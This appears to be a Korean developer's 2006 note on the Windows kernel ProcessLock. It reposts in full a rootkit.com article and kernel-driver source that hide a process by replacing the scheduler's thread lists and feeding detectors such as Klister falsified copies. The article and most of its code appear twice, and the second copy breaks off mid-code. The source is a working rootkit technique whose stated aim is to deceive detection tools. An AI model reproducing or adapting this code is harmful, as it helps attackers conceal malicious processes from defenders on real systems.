오전 11:24 2006-08-27
조경민 bro@shinbiro.com
EPROCESS ProcessLock 관련
========================================================
WinNT 클론을 표방하는 오픈소스 ReactOS에서 KPROCESS의 ProcessLock에 대한 설명
출처: http://www.reactos.org/wiki/index.php?title=KPROCESS/ProcessLock&redirect=no
Contains a Spinlock used when Locking the Process. Very seldomly used by the Kernel.
프로세스를 Lock하려할때 Spinlock으로 사용됨. 커널에서 매우 드물게 사용된다.
또다른 MS의 강연 자료에서 ProcessLock은 프로세스내의 스레드 리스트나 토큰 사용시 보호를 위해서 사용된다하네요
ProcessLock – Protects thread list, token
RundownProtect – Cross process address space, image section and handle table references
Token, Prefetch – Uses fast referencing
Token, Job – Torn down at last process dereference without synchronization
출처: http://www.i.u-tokyo.ac.jp/edu/training/ss/msprojects/data/07-ProcessesThreadsVM.ppt
Windows Kernel Internals II
Processes, Threads, VirtualMemory
University of Tokyo – July 2004*
Dave Probert, Ph.D.
Advanced Operating Systems Group
Windows Core Operating Systems Division
Microsoft Corporation
원래 찾고자 했던것은 프로세스 리스트 탐색 (PLIST_ENTRY)시 커널내에서 보호를 받고자 한 것인데요.
저자가 이상하게도 이를 잘 안알려주고 자신만 알고 싶어 한거 같네요.
찾아보니 쉽게 나오네요 -,.- (구굴링 20초 내에 찾음)
다음은 어떤 이가 올린 NT커널에서 스케줄링에서 빠지게 만드는 샘플인데요.
출처: http://www.rootkit.com/newsread.php?newsid=117
스레드 리스트를 교체하는 동안에는 우리는 반드시 NonPagedPool에서 그들 리스트를 처음에 할당해주어야 하고
우리의 새로운 리스트로 원본을 이동시켜야 한다. 이러는 동안 우리는 또한 반드시 IRQL을 Dispatcher 레벨로 올려야하고
스핀 락을 사용해야 한다. 이런 작업을 완료 한 후에는 당근이 스핀 락을 해제하고 IRQL을 원래 값으로 내려야한다.
(커널에서 스케줄러 데이터베이스와 관련된 구조체를 사용할때에는 반드시 KiLockDispatcherDatabase를 먼저하고,
KiUnlockDispatcherDatabase를 호출한다. 이 이야기는 대체로 내가 말했던것과 유사하다. 다른점은 이것이다.
KiUnlockDispatcherDatabase는 만일 다른 스레드가 실행을 위해서 선택된적이 있다면 컨텍스트 스위치는 초기화 될것이라는 것.
While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).
다음은 위의 내용입니다.
Byepass Scheduler List Process Detection
By: SoBeIt
Byepass Scheduler List Process Detection
SoBeIt
Email:kinvis@hotmail.om
Common methods of process-hiding are practically not able to hide the process thoroughly. That is because the scheduler of the kernel is based on thread, not process. Allow me to introduce my all-ready-done solution which is much more hidden.
We know that scheduler uses three lists:
KiWaitInListHead=0x80482258
KiWaitOutListhead=0x80482808
KiDispatcherReadyListHead=0x804822e0 (This list is an array, actually consisting of 32 LIST_ENTRY structures, relating to 32 priorities).
In fact,there are also several lists used by the Balance Set Manager:
KiProcessInSwapListHead
KiProcessOutSwapListHead
KiStackInSwapListHead
which we can also use to enumerate thread and process. However, most of the time they are blank. The Balance Set Manager will only be utilized by the Working Set Manager when the page fault rate is too high or the free lists of the working set are too few. So, there aren't many records in the List and also they are executive at a high speed.
While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).
The routines using KiWaitInListHead in the system:
KeWaitForSingleObject
KeWaitForMultipleObject
KeDelayExecutionThread
KiOutSwapKernelStacks
The routine of KiWaitOutListHead is the same as the routines of KiWaitInListHead. The former three routines all use macro KiInsertWaitList. And because the last one uses macro RemoveEntryList, the routine's assembler codes will engender two 0x8048280c; If they are not also replaced, mistakes will exist. (The system can normally run for a while, but it will reboot when new threads are scheduled, because the original list has been all messed up. -_-) The routines using KiDispatcherReadyListHead are below:
KeSetAffinityThread
KiFindReadyThread
KiReadyThread
KiSetPriorityThread
NtYieldExecution
KiScanReadyQueues
KiSwapThread
That KiSetPriorityThread also uses macro RemoveEntryList, so it will engender one 0x804822e4. Fortunately it is not difficult to find them: if existing, they will appear after the original list addresses not very far away. (The reason is that the macro RemoveEntryList is never used alone in scheduler.) Then you can replace all the schedule lists used in the system with new lists, and copy content of our lists to the original lists, to cheat the rootkit detecter. At first, I do a simple copy. When I run Klister, machine reboot. What a surprise, becase normal user will think that Klister cause mistake(Sorry to Joanna Rutkowska^_^) Because when I run Klister, system has been scheduled for many times, original lists are already messed up. When you read these lists, it will cause an endless cycle, because you can never read the head of list again. We must avoid these so we shall allocate new thread objects to cheat detecter (because only for cheating, these objects are not for common using, so I allocate smaller structs to save memory). Then we create a system thread, copy new lists to original lists each time when the system thread is awoken. While copying, we can delete these records which we want to hide. Because all addresses I used are hard coded it can be only running in Windows 2000 Build 2195 SP4 Chinese Edition. You can simply change these hard coded addresses to the addresses of your system, and it will work well. Here is the code, I hide System process(PID=0x8):
#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"
typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY
pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176,
0x8046443b, 0x80464441, 0x804644d6};
int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e,
0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de,
0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;
pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;
pNewKiWaitInListHead =
(PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,
sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 *
sizeof(LIST_ENTRY));
InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}
KeInitializeSpinLock(&DpcSpinLock);
__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;
pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink !=
&pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;
pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}
for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry
= pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead,
&pFakeETHREAD->WaitListEntry);
}
for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry
= pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead,
&pFakeETHREAD->WaitListEntry);
}
for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry !=
&pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char
*)pEntry)-0x5c);
pEPROCESS =
(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char
*)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD,
sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}
DbgPrint("pKiWaitInListHead->Flink:%8x",
pKiWaitInListHead->Flink);
DbgPrint("pKiWaitInListHead->Blink:%8x",
pKiWaitInListHead->Blink);
DbgPrint("pKiWaitOutListHead->Flink:%8x",
pKiWaitOutListHead->Flink);
DbgPrint("pKiWaitOutListHead->Blink:%8x",
pKiWaitOutListHead->Blink);
DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x",
pKiDispatcherReadyListHead[0].Flink);
DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x",
pKiDispatcherReadyListHead[0].Blink);
Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);
if(Status == STATUS_SUCCESS)
break;
}
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;
pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;
pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink !=
&pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;
pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);
DbgPrint("Now terminate system thread.\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in ReplaceList().\n");
}
return;
}
NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;
WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;
__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
DbgPrint("SchList:Worker thread killed.\n");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in Unload().\n");
}
if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);
DbgPrint(("SchList.sys:Driver Unload successfully.\n"));
return STATUS_SUCCESS;
}
DbgPrint(("SchList.sys:Detect device failed.\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L"\\Device\\SchList";
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0x804822e0;
int pKiWaitInListHeadAddr = 0x80482258;
int pKiWaitOutListHeadAddr = 0x80482808;
DbgPrint(("SchList:Enter DriverEntry.\n"));
RtlInitUnicodeString(&uniDevName,DevNameBuf);
status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create device failed.\n"));
return status;
}
DbgPrint(("SchList.sys:Create device successfully.\n"));
pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;
KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create symbolic link failed.\n"));
return status;
}
pDriObj->DriverUnload = DriverUnload;
PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);
return STATUS_SUCCESS;
}
조경민 bro@shinbiro.com
EPROCESS ProcessLock 관련
========================================================
WinNT 클론을 표방하는 오픈소스 ReactOS에서 KPROCESS의 ProcessLock에 대한 설명
출처: http://www.reactos.org/wiki/index.php?title=KPROCESS/ProcessLock&redirect=no
Contains a Spinlock used when Locking the Process. Very seldomly used by the Kernel.
프로세스를 Lock하려할때 Spinlock으로 사용됨. 커널에서 매우 드물게 사용된다.
또다른 MS의 강연 자료에서 ProcessLock은 프로세스내의 스레드 리스트나 토큰 사용시 보호를 위해서 사용된다하네요
ProcessLock – Protects thread list, token
RundownProtect – Cross process address space, image section and handle table references
Token, Prefetch – Uses fast referencing
Token, Job – Torn down at last process dereference without synchronization
출처: http://www.i.u-tokyo.ac.jp/edu/training/ss/msprojects/data/07-ProcessesThreadsVM.ppt
Windows Kernel Internals II
Processes, Threads, VirtualMemory
University of Tokyo – July 2004*
Dave Probert, Ph.D.
Advanced Operating Systems Group
Windows Core Operating Systems Division
Microsoft Corporation
원래 찾고자 했던것은 프로세스 리스트 탐색 (PLIST_ENTRY)시 커널내에서 보호를 받고자 한 것인데요.
저자가 이상하게도 이를 잘 안알려주고 자신만 알고 싶어 한거 같네요.
찾아보니 쉽게 나오네요 -,.- (구굴링 20초 내에 찾음)
다음은 어떤 이가 올린 NT커널에서 스케줄링에서 빠지게 만드는 샘플인데요.
출처: http://www.rootkit.com/newsread.php?newsid=117
스레드 리스트를 교체하는 동안에는 우리는 반드시 NonPagedPool에서 그들 리스트를 처음에 할당해주어야 하고
우리의 새로운 리스트로 원본을 이동시켜야 한다. 이러는 동안 우리는 또한 반드시 IRQL을 Dispatcher 레벨로 올려야하고
스핀 락을 사용해야 한다. 이런 작업을 완료 한 후에는 당근이 스핀 락을 해제하고 IRQL을 원래 값으로 내려야한다.
(커널에서 스케줄러 데이터베이스와 관련된 구조체를 사용할때에는 반드시 KiLockDispatcherDatabase를 먼저하고,
KiUnlockDispatcherDatabase를 호출한다. 이 이야기는 대체로 내가 말했던것과 유사하다. 다른점은 이것이다.
KiUnlockDispatcherDatabase는 만일 다른 스레드가 실행을 위해서 선택된적이 있다면 컨텍스트 스위치는 초기화 될것이라는 것.
While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).
다음은 위의 내용입니다.
Byepass Scheduler List Process Detection
By: SoBeIt
Byepass Scheduler List Process Detection
SoBeIt
Email:kinvis@hotmail.om
Common methods of process-hiding are practically not able to hide the process thoroughly. That is because the scheduler of the kernel is based on thread, not process. Allow me to introduce my all-ready-done solution which is much more hidden.
We know that scheduler uses three lists:
KiWaitInListHead=0x80482258
KiWaitOutListhead=0x80482808
KiDispatcherReadyListHead=0x804822e0 (This list is an array, actually consisting of 32 LIST_ENTRY structures, relating to 32 priorities).
In fact,there are also several lists used by the Balance Set Manager:
KiProcessInSwapListHead
KiProcessOutSwapListHead
KiStackInSwapListHead
which we can also use to enumerate thread and process. However, most of the time they are blank. The Balance Set Manager will only be utilized by the Working Set Manager when the page fault rate is too high or the free lists of the working set are too few. So, there aren't many records in the List and also they are executive at a high speed.
While working on replacing these lists, we must at first allocate struct of these lists in NonPagedPool and then move the contents of original lists to our new lists. While doing this, we must raise the IRQL to Dispatcher level, and then require for spin lock. After work is done, release the spin lock and move back to old IRQL (All routines in the kernel which are relevant to the figure-structures of scheduler database should call KiLockDispatcherDatabase first, after that call KiUnlockDispatcherDatabase. The theory is generally familiar to the what I said. The difference relies on this: KiUnlockDispatcherDatabase will initiate a context switch if another thread has been selected for execution).
The routines using KiWaitInListHead in the system:
KeWaitForSingleObject
KeWaitForMultipleObject
KeDelayExecutionThread
KiOutSwapKernelStacks
The routine of KiWaitOutListHead is the same as the routines of KiWaitInListHead. The former three routines all use macro KiInsertWaitList. And because the last one uses macro RemoveEntryList, the routine's assembler codes will engender two 0x8048280c; If they are not also replaced, mistakes will exist. (The system can normally run for a while, but it will reboot when new threads are scheduled, because the original list has been all messed up. -_-) The routines using KiDispatcherReadyListHead are below:
KeSetAffinityThread
KiFindReadyThread
KiReadyThread
KiSetPriorityThread
NtYieldExecution
KiScanReadyQueues
KiSwapThread
That KiSetPriorityThread also uses macro RemoveEntryList, so it will engender one 0x804822e4. Fortunately it is not difficult to find them: if existing, they will appear after the original list addresses not very far away. (The reason is that the macro RemoveEntryList is never used alone in scheduler.) Then you can replace all the schedule lists used in the system with new lists, and copy content of our lists to the original lists, to cheat the rootkit detecter. At first, I do a simple copy. When I run Klister, machine reboot. What a surprise, becase normal user will think that Klister cause mistake(Sorry to Joanna Rutkowska^_^) Because when I run Klister, system has been scheduled for many times, original lists are already messed up. When you read these lists, it will cause an endless cycle, because you can never read the head of list again. We must avoid these so we shall allocate new thread objects to cheat detecter (because only for cheating, these objects are not for common using, so I allocate smaller structs to save memory). Then we create a system thread, copy new lists to original lists each time when the system thread is awoken. While copying, we can delete these records which we want to hide. Because all addresses I used are hard coded it can be only running in Windows 2000 Build 2195 SP4 Chinese Edition. You can simply change these hard coded addresses to the addresses of your system, and it will work well. Here is the code, I hide System process(PID=0x8):
#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"
typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY
pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176,
0x8046443b, 0x80464441, 0x804644d6};
